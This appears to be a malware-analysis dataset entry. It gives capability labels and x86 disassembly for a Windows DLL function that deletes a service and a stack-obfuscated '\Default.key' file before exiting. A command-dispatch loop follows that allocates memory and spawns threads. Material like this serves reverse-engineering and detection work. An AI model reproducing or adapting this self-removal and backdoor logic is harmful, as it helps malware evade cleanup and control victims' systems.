Function at 0x100035f0
Capabilities:
Contain obfuscated stackstrings
Delete file
Delete service
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.Rspaxx_vxnocica
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
lea eax, [ebp - 0x114]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
and byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x114]
push eax
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x44
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x66
mov byte [ebp - 0xc], 0x61
mov byte [ebp - 0xb], 0x75
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x6b
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x79
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.100034a5
push 0
call dword [sym.imp.MSVCRT.dll_exit]
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
movzx eax, byte [ebx]
cmp eax, 0x6a
mov esi, ecx
jg 0x100037f6
cmp eax, 0x65
jge 0x1000383c
cmp eax, 0xf
ja case.default.0x100036ba
jmp dword [eax*4 + 0x10003981]
movzx eax, byte [ebx + 1]
push eax
call fcn.1000297b
jmp 0x10003979
inc ebx
push ebx
push str.Rspaxx_vxnocica
call fcn.10002b74
jmp 0x10003759
inc ebx
push ebx
push str.Rspaxx_vxnocica
call fcn.10002ba1
jmp 0x10003759
xor edi, edi
inc ebx
push edi
push edi
push edi
push ebx
push 0x10003249
push edi
push edi
call fcn.10006888
mov ecx, dword [esi + 0xfb0]
add esp, 0x1c
mov dword [esi + ecx*4 + 0x10], eax
inc dword [esi + 0xfb0]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp case.default.0x100036ba
push 1
inc ebx
push ebx
call fcn.10003039
jmp 0x10003759
push 0
jmp 0x10003721
mov ecx, esi
call fcn.100035f0
jmp case.default.0x100036ba
push dword [ebp + 0xc]
push ebx
call fcn.10002e2c
jmp 0x10003759
push dword [esi + 4]
push ebx
call fcn.1000300c
jmp 0x10003759
push dword [esi + 4]
push ebx
call fcn.10002fce
pop ecx
jmp 0x10003979
xor edi, edi
push 1
push edi
inc ebx
push edi
push ebx
push 0x100032e7
jmp 0x10003928
xor edi, edi
push 1
push edi
inc ebx
push edi
push ebx
push 0x100029a3
jmp 0x10003928
xor edi, edi
push 1
push edi
push edi
push dword [esi + 4]
push 0x10002794
jmp 0x10003928
call fcn.1000286a
jmp case.default.0x100036ba
mov eax, dword [ebp + 0xc]
push 4
push 0x3000
xor edi, edi
lea esi, [eax - 2]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, edi
mov dword [ebp + 0xc], eax
je case.default.0x100036ba
lea ecx, [ebx + 2]
push esi
push ecx
push eax
call sub.MSVCRT.dll_memcpy
movzx eax, byte [ebx + 1]
push edi
push eax
push 0x1000c1a0
push dword [ebp + 0xc]
call fcn.100026b7
add esp, 0x1c
jmp case.default.0x100036ba
mov al, byte [ebx + 1]
push eax
call fcn.100029e7
jmp 0x10003979
cmp eax, 0x76
jg 0x1000390f
je 0x10003906
cmp eax, 0x6b
je 0x100038c7
cmp eax, 0x6c
je 0x10003885
jle case.default.0x100036ba
cmp eax, 0x70
jle 0x1000383c
cmp eax, 0x71
jne case.default.0x100036ba
mov eax, dword [esi + 4]
xor edi, edi
push edi
push edi
push edi
push dword [eax + 0x48]
push 0x10002902
jmp 0x10003928
mov eax, dword [ebp + 0xc]
push 4
dec eax
push 0x3000
xor edi, edi
push eax
push edi
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, edi
mov dword [ebp + 8], eax
je case.default.0x100036ba
push dword [ebp + 0xc]
inc ebx
push ebx
push eax
call sub.MSVCRT.dll_memcpy
push 1
push edi
push edi
push dword [ebp + 8]
push 0x1000272b
push edi
push edi
call fcn.10006888
add esp, 0x28
jmp 0x10003932
xor edi, edi
push 1
push edi
push edi
push edi
push 0x100021f1
push edi
push edi
call fcn.10006888
mov eax, dword [esi + 4]
push edi
push edi
push edi
push dword [eax + 0x48]
push 0x10002889
push edi
push edi
call fcn.10006888
mov ecx, dword [esi + 0xfb0]
add esp, 0x38
mov dword [esi + ecx*4 + 0x10], eax
inc dword [esi + 0xfb0]
push 0xa
jmp 0x10003714
mov eax, dword [ebp + 0xc]
push 4
dec eax
push 0x3000
xor edi, edi
push eax
push edi
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, edi
mov dword [ebp + 8], eax
je case.default.0x100036ba
push dword [ebp + 0xc]
inc ebx
push ebx
push eax
call sub.MSVCRT.dll_memcpy
push 1
push edi
push edi
push dword [ebp + 8]
push 0x10002699
jmp 0x10003876
inc ebx
push ebx
call fcn.1000335c
jmp 0x10003979
sub eax, 0x77
je 0x10003972
dec eax
dec eax
je 0x10003944
dec eax
jne case.default.0x100036ba
xor edi, edi
push 1
push edi
inc ebx
push edi
push ebx
push 0x10002749
push edi
push edi
call fcn.10006888
add esp, 0x1c
mov ecx, dword [esi + 0xfb0]
mov dword [esi + ecx*4 + 0x10], eax
inc dword [esi + 0xfb0]
jmp case.default.0x100036ba
mov byte [ebp - 0x50], 0xd9
call fcn.100024c1
mov edi, eax
lea eax, [ebp - 0x4f]
push edi
push eax
call sub.MSVCRT.dll_strcpy
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esi + 4]
add esp, 0xc
lea eax, [ebp - 0x50]
push 0x50
push eax
call fcn.10001e61
jmp case.default.0x100036ba
inc ebx
push ebx
call fcn.10002417
pop ecx
pop edi
pop esi
pop ebx
leave
ret 8